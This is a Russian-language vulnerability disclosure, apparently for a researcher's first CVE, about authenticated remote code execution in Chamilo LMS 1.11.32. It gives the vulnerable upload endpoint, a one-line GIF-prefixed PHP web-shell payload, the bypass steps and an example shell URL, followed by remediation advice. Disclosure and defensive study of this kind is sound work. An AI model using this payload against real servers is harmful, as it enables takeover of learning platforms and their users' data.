
Привет, я K. Это моя первая CVE — уязвимость удалённого выполнения кода (RCE). Это начало моего пути как исследователя безопасности.
Аутентифицированное удалённое выполнение кода в Chamilo LMS 1.11.32 из-за некорректной проверки загружаемых файлов в AJAX-эндпоинте
ck_uploadimage. Студент с низкими привилегиями может загрузить PHP-веб-шелл, замаскированный под изображение, что приводит к полному компрометации сервера.
| Поле | Детали |
|---|---|
| Продукт | Chamilo LMS |
| Версия | 1.11.32 (Подтверждено) |
| Уязвимость | Неограниченная загрузка файлов с опасным типом (CWE-434) |
| Воздействие | Аутентифицированное удалённое выполнение кода (RCE) |
| CVSS v3.1 | 8.8 (ВЫСОКИЙ) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Требуется аутентификация | ✅ Да — роль студента (низкие привилегии) |
| CWE | CWE-434: Неограниченная загрузка файла с опасным типом |
| Обнаружил | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
Уязвимый файл: main/inc/ajax/document.ajax.php
Уязвимая функция: ck_uploadimage
Обработчик загрузки выполняет только проверку MIME-типа с помощью функции PHP mime_content_type(), которая проверяет магические байты файла (первые несколько байтов содержимого), а не расширение файла.
// Уязвимая логика проверки (упрощённо)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ Нет проверки расширения
// ❌ Нет санитизации имени файла
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
Две отдельные слабости объединяются в полную цепочку эксплуатации:
GIF89a) перед PHP-кодом.php, в каталоге, доступном через вебВредоносный файл создаётся следующим образом:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() считывает GIF89a → классифицирует как image/gif → проходит проверкуmove_uploaded_file() сохраняет как shell.php в /app/upload/users/<id>/ → напрямую исполняется через браузерЗапустите полный эксплойт, который автоматически выполняет вход как студент и загрузку файла
После запуска полного эксплойта на Python наш загруженный веб-шелл можно найти по адресу http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id

Успешная эксплуатация этой уязвимости приводит к полному компрометации сервера с учётной записи уровня студента:
Воздействие на CIA: Полная потеря конфиденциальности, целостности и доступности.
▪ Внедрите строгий список разрешённых расширений файлов Должны приниматься только явно разрешённые расширения файлов изображений (например, .jpg, .png, .gif). Загружаемые файлы с исполняемыми расширениями, такими как .php, .phtml или .phar, должны отклоняться независимо от MIME-типа.
▪ Не полагайтесь только на проверку MIME-типа Проверки MIME-типа с использованием таких функций, как mime_content_type(), не должны использоваться в качестве основного средства контроля безопасности, поскольку их можно обойти с помощью специально сформированных заголовков файлов. Проверка MIME должна использоваться только как вторичная проверка.
▪ Храните загруженные файлы вне каталогов, доступных через веб Загруженное содержимое должно храниться в каталоге, который не доступен напрямую через веб- сервер. Если требуется публичный доступ, файлы должны обслуживаться через контролируемый обработчик, а не через прямой доступ.
MENG HOKSENG
Независимый исследователь безопасности
Этот проект выпущен только для образовательных целей и санкционированных исследований безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим эксплойтом. Всегда получайте явное письменное разрешение перед проведением оценок безопасности.